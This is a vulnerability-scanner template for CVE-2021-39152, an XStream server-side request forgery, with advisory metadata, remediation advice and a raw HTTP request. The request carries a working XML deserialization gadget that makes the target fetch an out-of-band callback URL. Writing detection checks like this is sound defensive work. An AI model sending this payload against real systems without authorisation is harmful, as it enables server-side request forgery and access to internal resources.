id: CVE-2021-39152

info:
  name: XStream <1.4.18 - Server-Side Request Forgery
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.
  remediation: |
    Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.
  reference:
    - https://x-stream.github.io/CVE-2021-39152.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/cve-2021-39152
    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39152
    cwe-id: CWE-502
    epss-score: 0.61765
    epss-percentile: 0.98356
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,ssrf,oast,xstream_project,vuln,vkev

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.runtime.Source_-URLData>
              <url>http://{{interactsh-url}}/internal/</url>
              <cs>GBK</cs>
              <hash>1111</hash>
              <array>b</array>
              <length>0</length>
              <lastModified>0</lastModified>
            </jdk.nashorn.internal.runtime.Source_-URLData>
            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
          </entry>
          <entry>
            <jdk.nashorn.internal.runtime.Source_-URLData>
              <url>http://{{interactsh-url}}/internal/</url>
              <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
              <hash>1111</hash>
              <array>b</array>
              <length>0</length>
              <lastModified>0</lastModified>
            </jdk.nashorn.internal.runtime.Source_-URLData>
            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
# digest: 4b0a00483046022100c784134ebe66c0d9b887db7b9affc1be748373c61bd66397a727df62b66ae4d2022100f465dca54841b16a608d7f590bd2dd86aa9e62a0deb82164767e3a033f8fe7b6:922c64590222798bb761d5b6d8e72950